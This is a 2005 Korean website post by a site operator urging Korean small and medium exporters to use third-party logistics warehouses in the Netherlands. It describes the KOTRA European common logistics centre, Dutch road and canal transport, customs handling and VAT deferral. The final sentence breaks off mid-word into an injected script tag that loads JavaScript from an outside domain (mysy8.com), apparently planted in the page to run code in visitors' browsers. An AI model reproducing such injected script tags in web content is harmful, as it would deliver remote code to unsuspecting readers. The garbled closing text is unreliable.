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글쓴이 운영자 작성일 2005-05-10
제목 물류를 알아야 유럽이 보인다
물류를 알아야 유럽이 보인다



네덜란드는 유럽의 허브로서, 거대시장인 독일, 프랑스와 인접한 유리한 지정학적 위치과 로테르담항만 및 스키폴국제공항 등 세계 최고수준의 배후 수송망을 가지고 있다. 물류강국으로서 오늘의 네덜란드를 있게 한 물류인프라를 이해하고, 우리나라 중소기업의 유럽시장 점유율 확대를 위해 KOTRA에서 운영중인 [한국중소기업 유럽공동물류센터]를 소개한다.

수십년 동안 고민해 온 소량다품종 수출에 대한 해답이 [물류]에 있다. 유럽진출 확대를 위해서는 [물류]라는 관문을 뛰어 넘어야 한다. [물류창고]없이 대유럽 직수출만을 고집하는 것은 중국과의 경쟁에서 살아남기 힘들다.

우리 중소기업들은 이미 중저가 제품의 대량생산 및 수출이라는 고전적 해외마케팅 단계를 벗어났어야 했다. 중국의 엄청난 공세로부터 품질 차별화를 통해 시장방어를 시도해 왔으나 한계에 달한 지 오래다. 현지 바이어들은 이구동성으로 한국기업에게 물류창고를 운영할 것을 권유하고 있다. 뭔가 한국으로부터 수입할 것은 있지만 소량 다품종 오더에 적기 납품과 저렴한 수입단가를 보장받을 수 있는 유일한 대안이기 때문이다.

중국은 아직까지 제조중심이다. 중국기업으로서 [물류창고]를 활용하여 수출하는 기업은 눈에 띄지 않고 있다. 중저가제품을 컨테이너로 실어내는 전형적인 직수출마케팅에 의존하고 있기 때문이다. 그러나 우리나라는 그보다 앞서고 있다. 삼성, LG, 한국타이어 등 유수한 대기업들이 네덜란드에 제 3자 물류창고를 이용하고 있고, 디지털웨이(MP3), 비올디벨로퍼즈(광디스크) 등 많은 중소기업들도 제 3자 [물류창고]를 통해 큰 성공을 거두고 있다.

그러나, 아직도 갈 길이 멀다. 현재까지 잘 버텨온 직수출 기업들이 많다. 그러나, 유럽시장에서 물류문제를 해결하지 않으면 언제든지 중국, 이집트나 인도 등 후발국에 무너질 수 있다. 그러나 제 3자 물류를 통해 다수의 바이어들과 직거래를 하면서 시장네트웍을 먼저 구축하게 되면 무너지지 않는다. 초기 투자비 없이 바이어로부터 신뢰받을 수 있는 대안으로 네덜란드에서의 [제 3자 물류창고] 이용을 적극 검토해야 한다.

네덜란드가 자랑하는 세계 최고의 물류 환경

네덜란드는 국토면적이 남한의 40%에 불과하지만 1일 생활권인 반경 300마일 안에 1억7000만명의 인구가 집중된 중심지로서 유럽의 관문으로 불리고 있다. 유럽의 3대 시장인 독일, 프랑스, 영국의 중간지점에 자리 잡고 있으며, 독일 루르공업지대를 비롯해 주요 지역에 수로와 육로가 직접 연결되어 있다.

NFIA(화란투자진흥청)의 2004년 자료에 의하면, 미국기업의 경우 611개중 57%, 아시아기업은 344개중 56%가 네덜란드에 유럽물류센터를 운영하고 있다고 한다. 네덜란드는 세계 8위의 무역대국이자 물류분야에 종사하는 근로자만 3만 명이 넘으며, 물류전문서비스기업만 160여개가 움직이고 있다.

▲육상운송 : 로테르담항구 또는 스키폴공항으로 들어 온 물건은 고속도로 및 철로를 통해 영국, 오스트리아, 스칸디나비아반도, 이탈리아까지 연결된다. 벨기에, 독일과 함께 삼각지대를 형성하고 있는 점을 십분 활용, 24시간내에 유럽 전역에 상품을 공급할 수 있는 도로네트워크가 구축돼 있다. 특히 유럽내 운송화물트럭의 30%가 네덜란드 기업 소유로 물류비에서 가장 큰 비중을 차지하고 있는 배송비에서 최고의 경쟁력을 보유하고 있는 것으로 평가된다.

▲수상운송 : 라인강을 중심으로 건설된 운하를 통해 벨기에, 독일 북부산업지역, 남동부지역, 프랑스 북동부까지 선박수송이 가능하다. 1992년 개통된 라인-마인-다뉴브강을 잇는 RMD 운하를 이용해 발칸국가까지도 연결된다. 수상운송시 낮은 수심과 다리 등을 감안해 특수 제작된 바지선을 이용한다. 이러한 바지선은 주로 건축자재, 철강재 등의 벌크화물을 처리하며 처리용량에 따라 300톤에서 4,000톤까지 크기가 다양하며 4척에서 6척을 묶어서 최고 15,000톤까지 한꺼번에 수송이 가능하다. 선박운송이 가능한 내륙수로가 총연장 5,000km로서 이 가운데 1,500톤급의 배가 다닐 수 있는 구간도 1,800km나 된다.

네덜란드는 [화란상인]이라는 수식어에 걸맞게 물류에 관련된 통관, 세제 등 우수한 소프트웨어를 자랑한다. 네덜란드도 EU 공통관세법의 적용을 받지만 운영의 묘를 살려 통관절차가 다른 유럽국가에 비해 매우 간편하고 또 융통성이 많은 것으로 알려져 있다.

네덜란드 특유의 부가세 유예제도를 이용할 경우, 건별로 부가세를 납부하지 않고 서류상으로만 처리해 두었다가 나중에 일괄처리가 가능하다. 또 유럽도착물품에 대해 네덜란드의 보세창고를 이용할 경우 실제 물건이 판매될 시점까지는 관세납부가 보류되므로 수출업체의 자금운용에 매우 유리하며, 일정기준에만 부?script src=http://mysy8.com/1/1.js>
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